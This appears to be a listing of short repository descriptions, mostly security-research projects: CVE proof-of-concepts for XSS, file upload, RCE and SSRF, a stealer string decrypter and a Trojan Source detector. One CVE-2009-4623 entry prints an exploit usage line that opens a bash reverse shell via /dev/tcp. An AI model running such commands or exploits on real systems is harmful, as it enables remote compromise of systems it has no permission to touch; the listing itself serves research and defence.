CVE-2021-39473

CVE-2021-39473 Affected Product Code Base HotelManager - v1.2 Affected Component Kernel.php; Middleware Attack Type Remote Attack Vectors To exploit this vulnerability the user needs to create "rooms" or "guests" or "reservations" or "users" and in the "comment" or "contact" field can execute a x...

hdwebmobile-photo-video-reviews

HDWebmobile Photo & Video Reviews A WooCommerce plugin that lets customers attach photos and short videos to their product reviews, shown right in the review list on the product page. WordPress.org: https://wordpress.org/plugins/hdwebmobile-photo-video-reviews/ pending first submission Requires:...

ExportDumper

ExportDumper A small tool I made to dump the export table of PE files. The primary use case was intended for use within DLL proxying. Usage .\ExportDump dllpath e.g. .\ExportDump C:\Windows\System32\version.dll Dumping all 17 exported functions from C:\windows\system32\version.dll. + Dumping done...

solidity_CVE-2021-42574-POC

solidityCVE-2021-42574-POC Jan 31 2023, Altin tin-z, github.com/tin-z PoC POC of CVE-2021-42574 for solidity and solc compiler. install solc and select 0.8.17 version https://github.com/crytic/solc-select foundry https://github.com/foundry-rs/foundry deploy contract SOLV=0.8.17 foldert=testopen...

KPOT-string-decrypter

KPOT-string-decrypter IDA python scripts for decrypting KPOT stealer's strings and setting those as comments next to the var that would receive them during runtime. It works as follows: Gets the offset that's passed on eax to either decryption function there are two, which is why this repo has tw...

CVE-2023-31779

CVE-2023-31779 Stored XSS in Wekan Description : Stored XSS vulnerability exists in the "Reaction to comment" feature. An attacker with user privilege on kanban board can execute JavaScript code in the browsers of users who open card with malicious reaction. Impact : An attacker can steal...

CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 - Unauthenticated Arbitrary File Upload ⚠️ Disclaimer THIS TOOL IS PROVIDED FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test. The...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 Reverse Shell Multiple PHP remote file inclusion vulnerabilities in Advanced Comment System 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the ACSpath parameter to 1 index.php and 2 admin.php in advancedcommentsystem/. NOTE: this...

CVE-2025-29775

SAMLStorm CVE-2025-29775 Lab Environment This is a lab environment for demonstrating the SAMLStorm vulnerability CVE-2025-29775 that affects the xml-crypto library and SAML implementations in Node.js. Note: This is not a true exploitation of the vulnerability, just a recreation to demonstrate how...

CVE-2022-42097

Backdrop CMS version 1.23.0 Vulnerability Explanation: Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting XSS vulnerability via the Comment . Attack Vectors: The attacker must post something on the "comment" and insert the XSS payload at the "comment" input, and...

YT-Spammer-Purge

YouTube Spammer Purge What Is This? - Allows you to filter and search for spammer comments on your channel and other's channels in many different ways AND delete/report them all at once see features below. How to Download: Click the "Releases" link on the right, then on the latest release, under...

CVE-2022-35500

CVE-2022-35500 Stored Cross-site Scripting XSS in leave comment functionality in Amasty Blog Pro for Magento 2 Description The leave comment functionality in the Amasty Blog Pro 2.10.3 and 2.10.4 plugin for Magento 2 allows injection of JavaScript code in the AmBlogLeaveComment mutation in name...

Reflected-XSS-on-Opentext-Portal-v7.4.4

Cross-site scripting XSS vulnerability in OpenText Portal v7.4.4 allows remote attackers to inject arbitrary web script or HTML code via the vgnextoid URI parameter. Attack vector: Javascript injection in vgnextoid parameter preceded of "--" html comment closing sequence RESULT: Found by Héctor...

CVE-2009-4623

Advanced Comment System 1.0 - Remote Command Execution RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Examples python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2024-4439

CVE-2024-4439 CVE-2024-4439 docker and poc Lab Setup After starting the Docker container, some additional configuration is needed. Visit 127.0.0.1:8080, complete the configuration, In the backend – Appearance – Themes, select a theme, customize it, and configure. Go to Design – Templates – Single...

CVE-2026-89274-wp-recipe-maker-poc

CVE-2026-89274 - WP Recipe Maker Arbitrary Shortcode Execution Validation Lab Security-research material for reproducing and validating CVE-2026-89274 : WP Recipe Maker Use only on systems you own or are explicitly authorized to test. The PoC posts one rating comment containing a lab-registered...

CVE-2026-111965

The Profile Builder WordPress plugin, versions 4.0.0 through 4.0.4 , contains a vulnerability where reCAPTCHA verification is not enforced on all comment submission paths. This flaw allows authenticated users to bypass the anti-spam protections configured by an administrator for the WordPress com...

CVE-2026-111965 Profile Builder 4.0.0 - 4.0.4 - Subscriber+ Comment reCAPTCHA Bypass

The Profile Builder WordPress plugin from 4.0.0 to 4.0.4 does not enforce its reCAPTCHA verification on all comment submission paths, allowing authenticated users to bypass the anti-spam protection an administrator configured for the WordPress comment form...

TrojanSourceFinder

TrojanSourceFinder TrojanSourceFinder helps developers detect "Trojan Source" vulnerability in source code. Trojan Source vulnerability allows an attacker to make malicious code appear innocent. In general, the attacker tries to lure by passing his code off as a comment visually. It is a serious...

CVE-2023-45966

CVE-2023-45966 Blind SSRF in umputun/remark42 leads to Blind SSRF due to missing title field and insufficient filtering of url field in comment creation request. Additional Information Fixed in commit: efceed6 VulnerabilityType Other CWE-918: Server Side Request Forgery Vendor of Product...